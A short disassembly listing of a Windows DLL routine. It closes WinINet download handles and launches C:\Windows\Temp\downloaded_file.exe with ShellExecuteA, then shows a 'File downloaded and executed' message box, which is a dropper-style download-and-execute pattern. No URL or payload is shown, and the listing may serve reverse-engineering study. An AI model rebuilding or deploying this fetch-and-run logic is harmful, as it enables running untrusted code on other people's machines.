call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1800010f0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rdi, qword [rsp + 0x478]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rbx, qword [rsp + 0x470]
mov dword [rsp + 0x28], 1
lea r8, str.C:WindowsTempdownloaded_file.exe
xor r9d, r9d
mov qword [rsp + 0x20], rbp
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor r9d, r9d
lea r8, str.Operation_Complete
lea rdx, str.File_downloaded_and_executed
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.180001250
mov rbp, qword [rsp + 0x480]
add rsp, 0x460
pop rsi
ret